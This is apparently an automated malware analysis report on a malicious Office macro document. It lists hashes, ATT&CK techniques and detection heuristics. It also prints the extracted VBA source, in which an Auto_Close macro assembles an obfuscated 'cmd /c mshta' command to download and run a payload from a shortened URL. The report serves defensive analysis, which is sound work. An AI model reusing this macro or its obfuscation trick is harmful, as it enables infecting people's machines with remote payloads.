Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 1d2b1f7a4cae7784…

MALICIOUS

Office (OOXML)

7.3 KB First seen: 2021-10-16
MD5: d51701dfb43b3ce4bad0aee3f7069a63 SHA-1: 0b361a6741587d2b541849726afeab20ce49301e SHA-256: 1d2b1f7a4cae7784f01aadc1d8ff8b26d05e5e4b916cb3d2ca088502aba08cdf
220 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The sample contains VBA macros that are automatically executed via the Auto_Close function. These macros use the Shell() function to execute a command-line instruction. The command constructed is 'cmd /c mshtahttp://1230948%1230948@bitly.com/etygwdbhsaaadghkasdayuiqewbdcnsa', which indicates an attempt to download and execute a second-stage payload from the reconstructed URL. The obfuscation of the command and URL using string concatenation is a common technique.

Heuristics 5

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 693 bytes
SHA-256: 10c3f519f4488fe06ccaf4171e313c17d28da70a815a3724fc0d2a9b285577a9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Function Auto_ClOse() As Variant

maviya11 = " h" + "t" + "" + "" + "" + "" + "t" + "p" + ":" + "/" + "/" + "1" + "2" + "3" + "0" + "9" + "4" + "8"
maviya22 = "%" + "1" + "2" + "3" + "0" + "9" + "4" + "" + "" + "" + "" + "8" + "@" + "b" + "i" + "" + "t" + "l" + "y" + "." + "co" + "m" + "/"
maviya33 = "etygwdbhsa" + "aa" + "dghkasda" + "yuiqewbdcnsa"

: Shell "pi" + "n" + "g": Shell "pi" + "n" + "g": Shell "pi" + "n" + "g": Shell "p" + "" + "" + "i" + "ng": Shell "c" + "m" + "d /" + "c m" + "s" + "h" + "t" + "a" + maviya11 + maviya22 + maviya33: Shell "pi" + "ng": Shell "pi" + "ng": Shell "pi" + "ng": Shell "p" + "i" + "n" + "g"


End Function
vbaProject_00.bin vba-project OOXML VBA project: ppt/vbaProject.bin 14336 bytes
SHA-256: 76dcab84906481c60cd7c6c47877645e3099ffa260c94d354aa851da8229d6e4

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